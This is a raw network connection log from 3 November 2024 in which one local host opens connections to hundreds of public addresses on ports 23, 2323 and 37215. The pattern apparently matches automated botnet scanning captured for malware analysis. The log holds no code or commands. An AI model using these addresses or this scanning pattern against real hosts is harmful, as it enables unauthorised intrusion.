Nov 3, 2024 15:33:10.178987980 CET	4833	23	192.168.2.14	156.7.121.186
Nov 3, 2024 15:33:10.178997040 CET	4833	23	192.168.2.14	157.58.158.96
Nov 3, 2024 15:33:10.178997993 CET	4847	37215	192.168.2.14	156.164.112.98
Nov 3, 2024 15:33:10.178997993 CET	4833	2323	192.168.2.14	86.186.230.83
Nov 3, 2024 15:33:10.179001093 CET	4833	23	192.168.2.14	222.192.104.59
Nov 3, 2024 15:33:10.179007053 CET	4847	37215	192.168.2.14	41.171.65.46
Nov 3, 2024 15:33:10.179009914 CET	4847	37215	192.168.2.14	197.27.165.144
Nov 3, 2024 15:33:10.179012060 CET	4833	23	192.168.2.14	93.65.227.204
Nov 3, 2024 15:33:10.179013014 CET	4833	23	192.168.2.14	45.149.72.78
Nov 3, 2024 15:33:10.179014921 CET	4847	37215	192.168.2.14	197.132.182.169
Nov 3, 2024 15:33:10.179023027 CET	4833	23	192.168.2.14	27.165.183.169
Nov 3, 2024 15:33:10.179033041 CET	4833	23	192.168.2.14	174.130.59.133
Nov 3, 2024 15:33:10.179045916 CET	4847	37215	192.168.2.14	197.122.158.179
Nov 3, 2024 15:33:10.179045916 CET	4833	2323	192.168.2.14	81.213.183.62
Nov 3, 2024 15:33:10.179047108 CET	4833	23	192.168.2.14	112.118.135.39
Nov 3, 2024 15:33:10.179050922 CET	4847	37215	192.168.2.14	156.217.26.226
Nov 3, 2024 15:33:10.179050922 CET	4847	37215	192.168.2.14	197.207.119.100
Nov 3, 2024 15:33:10.179052114 CET	4833	23	192.168.2.14	115.168.87.117
Nov 3, 2024 15:33:10.179054022 CET	4833	23	192.168.2.14	96.112.233.217
Nov 3, 2024 15:33:10.179060936 CET	4833	23	192.168.2.14	128.27.173.131
Nov 3, 2024 15:33:10.179075003 CET	4847	37215	192.168.2.14	197.148.18.41
Nov 3, 2024 15:33:10.179083109 CET	4847	37215	192.168.2.14	197.157.106.29
Nov 3, 2024 15:33:10.179095984 CET	4847	37215	192.168.2.14	41.5.139.3
Nov 3, 2024 15:33:10.179105997 CET	4847	37215	192.168.2.14	197.63.235.70
Nov 3, 2024 15:33:10.179117918 CET	4833	23	192.168.2.14	140.237.107.170
Nov 3, 2024 15:33:10.179125071 CET	4847	37215	192.168.2.14	197.137.234.179
Nov 3, 2024 15:33:10.179126024 CET	4833	23	192.168.2.14	219.115.159.192
Nov 3, 2024 15:33:10.179128885 CET	4833	23	192.168.2.14	34.122.221.146
Nov 3, 2024 15:33:10.179145098 CET	4847	37215	192.168.2.14	197.216.125.46
Nov 3, 2024 15:33:10.179147005 CET	4847	37215	192.168.2.14	156.98.67.166
Nov 3, 2024 15:33:10.179152966 CET	4847	37215	192.168.2.14	197.156.151.83
Nov 3, 2024 15:33:10.179153919 CET	4847	37215	192.168.2.14	197.250.142.111
Nov 3, 2024 15:33:10.179152966 CET	4833	23	192.168.2.14	18.40.0.170
Nov 3, 2024 15:33:10.179157972 CET	4833	23	192.168.2.14	74.72.164.203
Nov 3, 2024 15:33:10.179160118 CET	4833	23	192.168.2.14	162.184.178.37
Nov 3, 2024 15:33:10.179171085 CET	4847	37215	192.168.2.14	41.147.32.105
Nov 3, 2024 15:33:10.179183960 CET	4833	2323	192.168.2.14	39.227.193.3
Nov 3, 2024 15:33:10.179188967 CET	4833	23	192.168.2.14	53.170.149.247
Nov 3, 2024 15:33:10.179188967 CET	4847	37215	192.168.2.14	41.217.204.66
Nov 3, 2024 15:33:10.179195881 CET	4833	23	192.168.2.14	170.136.10.27
Nov 3, 2024 15:33:10.179197073 CET	4833	23	192.168.2.14	206.236.180.149
Nov 3, 2024 15:33:10.179198027 CET	4833	23	192.168.2.14	63.213.122.183
Nov 3, 2024 15:33:10.179197073 CET	4833	23	192.168.2.14	59.126.117.248
Nov 3, 2024 15:33:10.179203033 CET	4833	23	192.168.2.14	103.233.182.27
Nov 3, 2024 15:33:10.179203033 CET	4833	23	192.168.2.14	47.195.45.43
Nov 3, 2024 15:33:10.179203987 CET	4847	37215	192.168.2.14	41.77.148.228
Nov 3, 2024 15:33:10.179204941 CET	4833	23	192.168.2.14	205.0.196.179
Nov 3, 2024 15:33:10.179209948 CET	4833	23	192.168.2.14	148.155.189.122
Nov 3, 2024 15:33:10.179209948 CET	4847	37215	192.168.2.14	156.148.215.210
Nov 3, 2024 15:33:10.179220915 CET	4833	23	192.168.2.14	9.231.179.102
Nov 3, 2024 15:33:10.179229021 CET	4847	37215	192.168.2.14	197.102.211.97
Nov 3, 2024 15:33:10.179229021 CET	4833	23	192.168.2.14	102.130.165.23
Nov 3, 2024 15:33:10.179231882 CET	4847	37215	192.168.2.14	156.151.20.237
Nov 3, 2024 15:33:10.179234028 CET	4833	2323	192.168.2.14	190.65.49.211
Nov 3, 2024 15:33:10.179235935 CET	4833	23	192.168.2.14	139.235.218.155
Nov 3, 2024 15:33:10.179241896 CET	4833	23	192.168.2.14	107.30.124.18
Nov 3, 2024 15:33:10.179243088 CET	4847	37215	192.168.2.14	197.14.160.254
Nov 3, 2024 15:33:10.179244041 CET	4833	23	192.168.2.14	69.129.11.243
Nov 3, 2024 15:33:10.179244041 CET	4847	37215	192.168.2.14	41.97.140.15
Nov 3, 2024 15:33:10.179259062 CET	4847	37215	192.168.2.14	156.193.165.51
Nov 3, 2024 15:33:10.179265022 CET	4847	37215	192.168.2.14	156.179.81.151
Nov 3, 2024 15:33:10.179265022 CET	4833	23	192.168.2.14	102.28.177.134
Nov 3, 2024 15:33:10.179265022 CET	4847	37215	192.168.2.14	197.38.47.73
Nov 3, 2024 15:33:10.179265976 CET	4833	23	192.168.2.14	12.93.129.213
Nov 3, 2024 15:33:10.179267883 CET	4833	23	192.168.2.14	204.36.7.254
Nov 3, 2024 15:33:10.179265976 CET	4833	23	192.168.2.14	106.57.249.255
Nov 3, 2024 15:33:10.179267883 CET	4833	23	192.168.2.14	211.137.122.209
Nov 3, 2024 15:33:10.179265976 CET	4833	23	192.168.2.14	169.110.143.152
Nov 3, 2024 15:33:10.179267883 CET	4833	2323	192.168.2.14	197.243.92.94
Nov 3, 2024 15:33:10.179267883 CET	4833	23	192.168.2.14	165.141.27.68
Nov 3, 2024 15:33:10.179286003 CET	4833	23	192.168.2.14	185.137.22.79
Nov 3, 2024 15:33:10.179286003 CET	4833	2323	192.168.2.14	162.184.176.23
Nov 3, 2024 15:33:10.179286003 CET	4847	37215	192.168.2.14	41.77.156.89
Nov 3, 2024 15:33:10.179286957 CET	4833	23	192.168.2.14	77.185.221.104
Nov 3, 2024 15:33:10.179287910 CET	4833	23	192.168.2.14	39.105.191.23
Nov 3, 2024 15:33:10.179287910 CET	4847	37215	192.168.2.14	156.218.197.53
Nov 3, 2024 15:33:10.179286957 CET	4833	23	192.168.2.14	188.6.6.87
Nov 3, 2024 15:33:10.179286957 CET	4847	37215	192.168.2.14	156.177.50.170
Nov 3, 2024 15:33:10.179287910 CET	4833	23	192.168.2.14	109.51.130.40
Nov 3, 2024 15:33:10.179286957 CET	4833	23	192.168.2.14	31.121.7.89
Nov 3, 2024 15:33:10.179286957 CET	4833	23	192.168.2.14	207.63.8.100
Nov 3, 2024 15:33:10.179287910 CET	4833	23	192.168.2.14	210.7.164.252
Nov 3, 2024 15:33:10.179295063 CET	4847	37215	192.168.2.14	197.122.215.162
Nov 3, 2024 15:33:10.179295063 CET	4833	23	192.168.2.14	71.17.216.161
Nov 3, 2024 15:33:10.179295063 CET	4847	37215	192.168.2.14	41.113.95.61
Nov 3, 2024 15:33:10.179306030 CET	4833	23	192.168.2.14	98.43.236.212
Nov 3, 2024 15:33:10.179307938 CET	4833	23	192.168.2.14	108.214.90.56
Nov 3, 2024 15:33:10.179308891 CET	4847	37215	192.168.2.14	156.82.235.39
Nov 3, 2024 15:33:10.179308891 CET	4833	23	192.168.2.14	89.73.199.181
Nov 3, 2024 15:33:10.179316044 CET	4847	37215	192.168.2.14	41.128.98.100
Nov 3, 2024 15:33:10.179316044 CET	4847	37215	192.168.2.14	156.4.241.179
Nov 3, 2024 15:33:10.179316998 CET	4847	37215	192.168.2.14	197.105.89.2
Nov 3, 2024 15:33:10.179316044 CET	4847	37215	192.168.2.14	41.102.7.86
Nov 3, 2024 15:33:10.179316998 CET	4847	37215	192.168.2.14	197.219.181.228
Nov 3, 2024 15:33:10.179316998 CET	4833	23	192.168.2.14	155.120.71.1
Nov 3, 2024 15:33:10.179316998 CET	4833	23	192.168.2.14	171.48.100.153
Nov 3, 2024 15:33:10.179320097 CET	4847	37215	192.168.2.14	197.122.113.243
Nov 3, 2024 15:33:10.179320097 CET	4847	37215	192.168.2.14	197.92.92.197
Nov 3, 2024 15:33:10.179320097 CET	4833	23	192.168.2.14	5.177.64.46
Nov 3, 2024 15:33:10.179316044 CET	4833	23	192.168.2.14	186.83.212.177
Nov 3, 2024 15:33:10.179316044 CET	4833	23	192.168.2.14	182.100.134.190
Nov 3, 2024 15:33:10.179323912 CET	4847	37215	192.168.2.14	197.11.124.187
Nov 3, 2024 15:33:10.179325104 CET	4847	37215	192.168.2.14	41.88.21.245
Nov 3, 2024 15:33:10.179325104 CET	4847	37215	192.168.2.14	156.35.151.155
Nov 3, 2024 15:33:10.179328918 CET	4847	37215	192.168.2.14	41.254.47.206
Nov 3, 2024 15:33:10.179328918 CET	4847	37215	192.168.2.14	197.82.109.188
Nov 3, 2024 15:33:10.179330111 CET	4833	23	192.168.2.14	58.205.251.115
Nov 3, 2024 15:33:10.179330111 CET	4833	23	192.168.2.14	42.142.45.111
Nov 3, 2024 15:33:10.179339886 CET	4833	23	192.168.2.14	96.97.208.206
Nov 3, 2024 15:33:10.179341078 CET	4833	23	192.168.2.14	35.37.199.199
Nov 3, 2024 15:33:10.179341078 CET	4833	2323	192.168.2.14	178.255.57.121
Nov 3, 2024 15:33:10.179341078 CET	4833	23	192.168.2.14	86.90.135.151
Nov 3, 2024 15:33:10.179341078 CET	4847	37215	192.168.2.14	41.80.8.148
Nov 3, 2024 15:33:10.179341078 CET	4833	23	192.168.2.14	35.47.95.120
Nov 3, 2024 15:33:10.179342031 CET	4847	37215	192.168.2.14	197.100.138.173
Nov 3, 2024 15:33:10.179346085 CET	4847	37215	192.168.2.14	197.174.163.219
Nov 3, 2024 15:33:10.179346085 CET	4833	23	192.168.2.14	35.94.48.39
Nov 3, 2024 15:33:10.179351091 CET	4833	2323	192.168.2.14	153.214.176.118
Nov 3, 2024 15:33:10.179358006 CET	4833	23	192.168.2.14	191.53.141.20
Nov 3, 2024 15:33:10.179362059 CET	4833	23	192.168.2.14	57.76.58.158
Nov 3, 2024 15:33:10.179362059 CET	4833	23	192.168.2.14	221.183.181.223
Nov 3, 2024 15:33:10.179363966 CET	4847	37215	192.168.2.14	41.42.203.219
Nov 3, 2024 15:33:10.179366112 CET	4847	37215	192.168.2.14	197.244.138.166
Nov 3, 2024 15:33:10.179366112 CET	4847	37215	192.168.2.14	156.173.187.92
Nov 3, 2024 15:33:10.179366112 CET	4833	23	192.168.2.14	27.9.102.222
Nov 3, 2024 15:33:10.179366112 CET	4847	37215	192.168.2.14	41.12.58.241
Nov 3, 2024 15:33:10.179366112 CET	4847	37215	192.168.2.14	41.102.184.52
Nov 3, 2024 15:33:10.179371119 CET	4833	23	192.168.2.14	59.199.185.231
Nov 3, 2024 15:33:10.179377079 CET	4833	23	192.168.2.14	121.76.92.89
Nov 3, 2024 15:33:10.179377079 CET	4847	37215	192.168.2.14	156.61.72.109
Nov 3, 2024 15:33:10.179382086 CET	4833	23	192.168.2.14	154.105.63.97
Nov 3, 2024 15:33:10.179382086 CET	4833	23	192.168.2.14	175.140.38.207
Nov 3, 2024 15:33:10.179383993 CET	4833	23	192.168.2.14	77.207.200.95
Nov 3, 2024 15:33:10.179383993 CET	4847	37215	192.168.2.14	156.221.214.170
Nov 3, 2024 15:33:10.179387093 CET	4847	37215	192.168.2.14	41.23.47.138
Nov 3, 2024 15:33:10.179393053 CET	4847	37215	192.168.2.14	156.235.102.35
Nov 3, 2024 15:33:10.179393053 CET	4833	23	192.168.2.14	219.105.161.35
Nov 3, 2024 15:33:10.179393053 CET	4847	37215	192.168.2.14	41.154.134.198
Nov 3, 2024 15:33:10.179393053 CET	4847	37215	192.168.2.14	41.185.81.56
Nov 3, 2024 15:33:10.179393053 CET	4847	37215	192.168.2.14	41.1.144.167
Nov 3, 2024 15:33:10.179399967 CET	4847	37215	192.168.2.14	197.103.79.228
Nov 3, 2024 15:33:10.179404974 CET	4847	37215	192.168.2.14	156.28.178.82
Nov 3, 2024 15:33:10.179404974 CET	4847	37215	192.168.2.14	156.217.8.176
Nov 3, 2024 15:33:10.179425001 CET	4847	37215	192.168.2.14	197.11.39.124
Nov 3, 2024 15:33:10.179429054 CET	4847	37215	192.168.2.14	197.123.63.50
Nov 3, 2024 15:33:10.179439068 CET	4847	37215	192.168.2.14	156.32.204.47
Nov 3, 2024 15:33:10.179445028 CET	4847	37215	192.168.2.14	197.97.131.204
Nov 3, 2024 15:33:10.179461002 CET	4847	37215	192.168.2.14	156.238.24.195
Nov 3, 2024 15:33:10.179471970 CET	4847	37215	192.168.2.14	156.238.173.87
Nov 3, 2024 15:33:10.179478884 CET	4847	37215	192.168.2.14	156.205.154.45
Nov 3, 2024 15:33:10.179490089 CET	4847	37215	192.168.2.14	156.91.165.7
Nov 3, 2024 15:33:10.179507017 CET	4847	37215	192.168.2.14	197.25.247.71
Nov 3, 2024 15:33:10.179507971 CET	4847	37215	192.168.2.14	197.126.163.119
Nov 3, 2024 15:33:10.179507971 CET	4847	37215	192.168.2.14	197.134.14.78
Nov 3, 2024 15:33:10.179522038 CET	4847	37215	192.168.2.14	156.90.238.158
Nov 3, 2024 15:33:10.179528952 CET	4847	37215	192.168.2.14	197.254.77.37
Nov 3, 2024 15:33:10.179548979 CET	4847	37215	192.168.2.14	197.202.224.188
Nov 3, 2024 15:33:10.179555893 CET	4847	37215	192.168.2.14	156.255.98.191
Nov 3, 2024 15:33:10.179557085 CET	4847	37215	192.168.2.14	197.3.186.22
Nov 3, 2024 15:33:10.179558992 CET	4847	37215	192.168.2.14	197.124.32.225
Nov 3, 2024 15:33:10.179559946 CET	4847	37215	192.168.2.14	197.68.96.208
Nov 3, 2024 15:33:10.179563046 CET	4847	37215	192.168.2.14	156.178.176.242
Nov 3, 2024 15:33:10.179563046 CET	4847	37215	192.168.2.14	41.103.210.159
Nov 3, 2024 15:33:10.179579973 CET	4847	37215	192.168.2.14	156.54.55.251
Nov 3, 2024 15:33:10.179583073 CET	4847	37215	192.168.2.14	156.189.3.208
Nov 3, 2024 15:33:10.179604053 CET	4847	37215	192.168.2.14	197.96.176.255
Nov 3, 2024 15:33:10.179605007 CET	4847	37215	192.168.2.14	197.117.100.225
Nov 3, 2024 15:33:10.179622889 CET	4847	37215	192.168.2.14	197.24.15.187
Nov 3, 2024 15:33:10.179626942 CET	4847	37215	192.168.2.14	41.59.209.150
Nov 3, 2024 15:33:10.179630995 CET	4847	37215	192.168.2.14	197.154.218.44
Nov 3, 2024 15:33:10.179642916 CET	4847	37215	192.168.2.14	197.152.114.252
Nov 3, 2024 15:33:10.179660082 CET	4847	37215	192.168.2.14	41.24.12.83
Nov 3, 2024 15:33:10.179661989 CET	4847	37215	192.168.2.14	197.230.6.233
Nov 3, 2024 15:33:10.179672956 CET	4847	37215	192.168.2.14	41.182.247.174
Nov 3, 2024 15:33:10.179680109 CET	4847	37215	192.168.2.14	197.179.1.51
Nov 3, 2024 15:33:10.179694891 CET	4847	37215	192.168.2.14	156.77.206.214
Nov 3, 2024 15:33:10.179704905 CET	4847	37215	192.168.2.14	41.194.148.66
Nov 3, 2024 15:33:10.179716110 CET	4847	37215	192.168.2.14	156.3.60.232
Nov 3, 2024 15:33:10.179723978 CET	4847	37215	192.168.2.14	41.45.117.222
Nov 3, 2024 15:33:10.179740906 CET	4847	37215	192.168.2.14	197.171.210.90
Nov 3, 2024 15:33:10.179744005 CET	4847	37215	192.168.2.14	156.153.24.177
Nov 3, 2024 15:33:10.179764032 CET	4847	37215	192.168.2.14	41.161.162.11
Nov 3, 2024 15:33:10.179764032 CET	4847	37215	192.168.2.14	41.32.60.207
Nov 3, 2024 15:33:10.179770947 CET	4847	37215	192.168.2.14	156.242.238.84
Nov 3, 2024 15:33:10.179789066 CET	4847	37215	192.168.2.14	156.35.227.221
Nov 3, 2024 15:33:10.179792881 CET	4847	37215	192.168.2.14	156.92.148.109
Nov 3, 2024 15:33:10.179811954 CET	4847	37215	192.168.2.14	197.31.172.244
Nov 3, 2024 15:33:10.179816008 CET	4847	37215	192.168.2.14	197.132.129.250
Nov 3, 2024 15:33:10.179831028 CET	4847	37215	192.168.2.14	41.19.207.225
Nov 3, 2024 15:33:10.179840088 CET	4847	37215	192.168.2.14	41.164.76.157
Nov 3, 2024 15:33:10.179852009 CET	4847	37215	192.168.2.14	41.78.111.209
Nov 3, 2024 15:33:10.179857969 CET	4847	37215	192.168.2.14	156.231.168.72
Nov 3, 2024 15:33:10.179873943 CET	4847	37215	192.168.2.14	41.238.193.226
Nov 3, 2024 15:33:10.179878950 CET	4847	37215	192.168.2.14	41.9.85.202
Nov 3, 2024 15:33:10.179883957 CET	4847	37215	192.168.2.14	41.97.99.30
Nov 3, 2024 15:33:10.179898977 CET	4847	37215	192.168.2.14	197.22.237.109
Nov 3, 2024 15:33:10.179898977 CET	4847	37215	192.168.2.14	197.2.90.21
Nov 3, 2024 15:33:10.179913044 CET	4847	37215	192.168.2.14	156.17.80.146
Nov 3, 2024 15:33:10.179932117 CET	4847	37215	192.168.2.14	41.7.136.250
Nov 3, 2024 15:33:10.179934978 CET	4847	37215	192.168.2.14	197.127.152.41
Nov 3, 2024 15:33:10.179944992 CET	4847	37215	192.168.2.14	41.60.33.0
Nov 3, 2024 15:33:10.179956913 CET	4847	37215	192.168.2.14	197.91.166.58
Nov 3, 2024 15:33:10.179975033 CET	4847	37215	192.168.2.14	197.47.37.42
Nov 3, 2024 15:33:10.179975033 CET	4847	37215	192.168.2.14	197.196.208.154
Nov 3, 2024 15:33:10.179997921 CET	4847	37215	192.168.2.14	197.100.198.117
Nov 3, 2024 15:33:10.180001974 CET	4847	37215	192.168.2.14	156.52.108.179
Nov 3, 2024 15:33:10.180017948 CET	4847	37215	192.168.2.14	197.132.206.11
Nov 3, 2024 15:33:10.180022001 CET	4847	37215	192.168.2.14	41.0.16.247
Nov 3, 2024 15:33:10.180028915 CET	4847	37215	192.168.2.14	197.140.129.61
Nov 3, 2024 15:33:10.180030107 CET	4847	37215	192.168.2.14	156.118.176.3
Nov 3, 2024 15:33:10.180030107 CET	4847	37215	192.168.2.14	41.132.113.144
Nov 3, 2024 15:33:10.180043936 CET	4847	37215	192.168.2.14	41.86.66.123
Nov 3, 2024 15:33:10.180048943 CET	4847	37215	192.168.2.14	156.92.98.246
Nov 3, 2024 15:33:10.180064917 CET	4847	37215	192.168.2.14	41.2.166.99
Nov 3, 2024 15:33:10.180073023 CET	4847	37215	192.168.2.14	41.251.31.49
Nov 3, 2024 15:33:10.180085897 CET	4847	37215	192.168.2.14	156.94.88.162
Nov 3, 2024 15:33:10.180102110 CET	4847	37215	192.168.2.14	156.97.11.81
Nov 3, 2024 15:33:10.180105925 CET	4847	37215	192.168.2.14	197.255.193.4
Nov 3, 2024 15:33:10.180119991 CET	4847	37215	192.168.2.14	41.98.119.137
Nov 3, 2024 15:33:10.180125952 CET	4847	37215	192.168.2.14	41.119.78.162
Nov 3, 2024 15:33:10.180140972 CET	4847	37215	192.168.2.14	156.241.86.240
Nov 3, 2024 15:33:10.180154085 CET	4847	37215	192.168.2.14	41.163.129.249
Nov 3, 2024 15:33:10.180159092 CET	4847	37215	192.168.2.14	156.31.56.5
Nov 3, 2024 15:33:10.180169106 CET	4847	37215	192.168.2.14	156.205.46.166
Nov 3, 2024 15:33:10.180175066 CET	4847	37215	192.168.2.14	41.76.20.191
Nov 3, 2024 15:33:10.180188894 CET	4847	37215	192.168.2.14	41.242.99.23
Nov 3, 2024 15:33:10.180205107 CET	4847	37215	192.168.2.14	41.113.143.222
Nov 3, 2024 15:33:10.180207014 CET	4847	37215	192.168.2.14	197.117.164.183
Nov 3, 2024 15:33:10.180222034 CET	4847	37215	192.168.2.14	156.180.216.244
Nov 3, 2024 15:33:10.180226088 CET	4847	37215	192.168.2.14	41.5.67.8
Nov 3, 2024 15:33:10.180242062 CET	4847	37215	192.168.2.14	156.223.117.184
Nov 3, 2024 15:33:10.180248022 CET	4847	37215	192.168.2.14	156.44.175.169
Nov 3, 2024 15:33:10.180254936 CET	4847	37215	192.168.2.14	156.74.124.225
Nov 3, 2024 15:33:10.180288076 CET	4847	37215	192.168.2.14	156.163.229.52
Nov 3, 2024 15:33:10.180289984 CET	4847	37215	192.168.2.14	197.215.60.255
Nov 3, 2024 15:33:10.180305004 CET	4847	37215	192.168.2.14	41.144.156.167
Nov 3, 2024 15:33:10.180308104 CET	4847	37215	192.168.2.14	41.128.164.31
Nov 3, 2024 15:33:10.180308104 CET	4847	37215	192.168.2.14	41.38.60.10
Nov 3, 2024 15:33:10.180308104 CET	4847	37215	192.168.2.14	156.244.150.58
Nov 3, 2024 15:33:10.180308104 CET	4847	37215	192.168.2.14	197.52.122.195
Nov 3, 2024 15:33:10.180310011 CET	4847	37215	192.168.2.14	197.15.127.231
Nov 3, 2024 15:33:10.180311918 CET	4847	37215	192.168.2.14	197.38.230.134
Nov 3, 2024 15:33:10.180311918 CET	4847	37215	192.168.2.14	41.87.134.245
Nov 3, 2024 15:33:10.180316925 CET	4847	37215	192.168.2.14	197.164.56.134
Nov 3, 2024 15:33:10.180319071 CET	4847	37215	192.168.2.14	197.238.118.204
Nov 3, 2024 15:33:10.180329084 CET	4847	37215	192.168.2.14	156.193.120.194
Nov 3, 2024 15:33:10.180329084 CET	4847	37215	192.168.2.14	197.113.47.119
Nov 3, 2024 15:33:10.180330038 CET	4847	37215	192.168.2.14	156.195.136.240
Nov 3, 2024 15:33:10.180347919 CET	4847	37215	192.168.2.14	41.175.41.228
Nov 3, 2024 15:33:10.180347919 CET	4847	37215	192.168.2.14	197.249.189.94
Nov 3, 2024 15:33:10.180365086 CET	4847	37215	192.168.2.14	197.169.76.227
Nov 3, 2024 15:33:10.180372000 CET	4847	37215	192.168.2.14	156.166.148.172
Nov 3, 2024 15:33:10.180376053 CET	4847	37215	192.168.2.14	197.199.61.198
Nov 3, 2024 15:33:10.180392981 CET	4847	37215	192.168.2.14	41.61.4.233
Nov 3, 2024 15:33:10.180406094 CET	4847	37215	192.168.2.14	197.40.145.110
Nov 3, 2024 15:33:10.180413008 CET	4847	37215	192.168.2.14	197.191.111.99
Nov 3, 2024 15:33:10.180418015 CET	4847	37215	192.168.2.14	197.125.108.17
Nov 3, 2024 15:33:10.180435896 CET	4847	37215	192.168.2.14	197.50.4.204
Nov 3, 2024 15:33:10.180439949 CET	4847	37215	192.168.2.14	41.221.93.129
Nov 3, 2024 15:33:10.180455923 CET	4847	37215	192.168.2.14	41.106.193.109
Nov 3, 2024 15:33:10.180455923 CET	4847	37215	192.168.2.14	156.215.104.10
Nov 3, 2024 15:33:10.180471897 CET	4847	37215	192.168.2.14	156.68.165.145
Nov 3, 2024 15:33:10.180485964 CET	4847	37215	192.168.2.14	156.66.80.103
Nov 3, 2024 15:33:10.180489063 CET	4847	37215	192.168.2.14	197.161.13.122
Nov 3, 2024 15:33:10.180506945 CET	4847	37215	192.168.2.14	41.86.40.211
Nov 3, 2024 15:33:10.180509090 CET	4847	37215	192.168.2.14	41.99.144.156
Nov 3, 2024 15:33:10.180517912 CET	4847	37215	192.168.2.14	197.220.226.232
Nov 3, 2024 15:33:10.180531979 CET	4847	37215	192.168.2.14	197.89.42.30
Nov 3, 2024 15:33:10.180538893 CET	4847	37215	192.168.2.14	197.224.177.170
Nov 3, 2024 15:33:10.180550098 CET	4847	37215	192.168.2.14	156.28.144.83
Nov 3, 2024 15:33:10.180557013 CET	4847	37215	192.168.2.14	41.32.150.82
Nov 3, 2024 15:33:10.180577040 CET	4847	37215	192.168.2.14	41.54.132.67
Nov 3, 2024 15:33:10.180578947 CET	4847	37215	192.168.2.14	197.246.116.11
Nov 3, 2024 15:33:10.180594921 CET	4847	37215	192.168.2.14	156.219.69.40
Nov 3, 2024 15:33:10.180598021 CET	4847	37215	192.168.2.14	156.119.19.186
Nov 3, 2024 15:33:10.180619001 CET	4847	37215	192.168.2.14	156.255.245.74
Nov 3, 2024 15:33:10.180627108 CET	4847	37215	192.168.2.14	156.253.201.168
Nov 3, 2024 15:33:10.180639982 CET	4847	37215	192.168.2.14	41.241.125.88
Nov 3, 2024 15:33:10.180653095 CET	4847	37215	192.168.2.14	197.93.64.192
Nov 3, 2024 15:33:10.180663109 CET	4847	37215	192.168.2.14	41.192.242.52
Nov 3, 2024 15:33:10.180664062 CET	4847	37215	192.168.2.14	197.123.229.234
Nov 3, 2024 15:33:10.180686951 CET	4847	37215	192.168.2.14	156.164.36.88
Nov 3, 2024 15:33:10.180691004 CET	4847	37215	192.168.2.14	156.252.89.231
Nov 3, 2024 15:33:10.180700064 CET	4847	37215	192.168.2.14	156.128.134.210
Nov 3, 2024 15:33:10.180706024 CET	4847	37215	192.168.2.14	41.73.140.234
Nov 3, 2024 15:33:10.180716038 CET	4847	37215	192.168.2.14	41.209.111.118
Nov 3, 2024 15:33:10.180726051 CET	4847	37215	192.168.2.14	41.25.113.192
Nov 3, 2024 15:33:10.180737019 CET	4847	37215	192.168.2.14	197.233.19.19
Nov 3, 2024 15:33:10.180742979 CET	4847	37215	192.168.2.14	197.70.81.222
Nov 3, 2024 15:33:10.180756092 CET	4847	37215	192.168.2.14	41.79.226.190
Nov 3, 2024 15:33:10.180769920 CET	4847	37215	192.168.2.14	197.199.128.92
Nov 3, 2024 15:33:10.180769920 CET	4847	37215	192.168.2.14	197.120.195.127
Nov 3, 2024 15:33:10.180809975 CET	4847	37215	192.168.2.14	156.194.249.141
Nov 3, 2024 15:33:10.180813074 CET	4847	37215	192.168.2.14	197.238.172.188
Nov 3, 2024 15:33:10.180830956 CET	4847	37215	192.168.2.14	197.89.215.80
Nov 3, 2024 15:33:10.180834055 CET	4847	37215	192.168.2.14	156.215.130.5
Nov 3, 2024 15:33:10.180849075 CET	4847	37215	192.168.2.14	41.67.197.92
Nov 3, 2024 15:33:10.180862904 CET	4847	37215	192.168.2.14	41.51.32.81
Nov 3, 2024 15:33:10.180866957 CET	4847	37215	192.168.2.14	41.108.32.192
Nov 3, 2024 15:33:10.180876970 CET	4847	37215	192.168.2.14	197.209.0.48
Nov 3, 2024 15:33:10.180892944 CET	4847	37215	192.168.2.14	156.191.78.148
Nov 3, 2024 15:33:10.180897951 CET	4847	37215	192.168.2.14	197.170.139.183
Nov 3, 2024 15:33:10.180912018 CET	4847	37215	192.168.2.14	156.152.38.97
Nov 3, 2024 15:33:10.180915117 CET	4847	37215	192.168.2.14	197.133.19.189
Nov 3, 2024 15:33:10.180932999 CET	4847	37215	192.168.2.14	41.156.144.247
Nov 3, 2024 15:33:10.180936098 CET	4847	37215	192.168.2.14	156.116.90.150
Nov 3, 2024 15:33:10.180953979 CET	4847	37215	192.168.2.14	41.47.177.123
Nov 3, 2024 15:33:10.180953979 CET	4847	37215	192.168.2.14	41.170.156.133
Nov 3, 2024 15:33:10.180975914 CET	4847	37215	192.168.2.14	197.73.95.203
Nov 3, 2024 15:33:10.180980921 CET	4847	37215	192.168.2.14	197.111.170.85
Nov 3, 2024 15:33:10.181000948 CET	4847	37215	192.168.2.14	156.183.85.138
Nov 3, 2024 15:33:10.181001902 CET	4847	37215	192.168.2.14	156.175.244.113
Nov 3, 2024 15:33:10.181010962 CET	4847	37215	192.168.2.14	41.217.75.94
Nov 3, 2024 15:33:10.181020021 CET	4847	37215	192.168.2.14	197.195.126.238
Nov 3, 2024 15:33:10.181037903 CET	4847	37215	192.168.2.14	197.92.230.182
Nov 3, 2024 15:33:10.181041956 CET	4847	37215	192.168.2.14	41.51.135.136
Nov 3, 2024 15:33:10.181056976 CET	4847	37215	192.168.2.14	41.71.31.226
Nov 3, 2024 15:33:10.181061029 CET	4847	37215	192.168.2.14	197.28.81.110
Nov 3, 2024 15:33:10.181080103 CET	4847	37215	192.168.2.14	156.135.77.188
Nov 3, 2024 15:33:10.181092024 CET	4847	37215	192.168.2.14	156.77.213.56
Nov 3, 2024 15:33:10.181106091 CET	4847	37215	192.168.2.14	156.247.239.194
Nov 3, 2024 15:33:10.181112051 CET	4847	37215	192.168.2.14	156.210.213.146
Nov 3, 2024 15:33:10.181133032 CET	4847	37215	192.168.2.14	41.97.137.117
Nov 3, 2024 15:33:10.181144953 CET	4847	37215	192.168.2.14	197.173.73.131
Nov 3, 2024 15:33:10.181145906 CET	4847	37215	192.168.2.14	197.194.4.90
Nov 3, 2024 15:33:10.181153059 CET	4847	37215	192.168.2.14	197.141.204.186
Nov 3, 2024 15:33:10.181157112 CET	4847	37215	192.168.2.14	41.52.213.81
Nov 3, 2024 15:33:10.181174040 CET	4847	37215	192.168.2.14	156.25.153.247
Nov 3, 2024 15:33:10.181174994 CET	4847	37215	192.168.2.14	156.152.80.220
Nov 3, 2024 15:33:10.181193113 CET	4847	37215	192.168.2.14	41.2.128.244
Nov 3, 2024 15:33:10.181196928 CET	4847	37215	192.168.2.14	197.139.50.107
Nov 3, 2024 15:33:10.181221008 CET	4847	37215	192.168.2.14	197.8.218.38
Nov 3, 2024 15:33:10.181221008 CET	4847	37215	192.168.2.14	156.166.165.8
Nov 3, 2024 15:33:10.181225061 CET	4847	37215	192.168.2.14	41.143.69.114
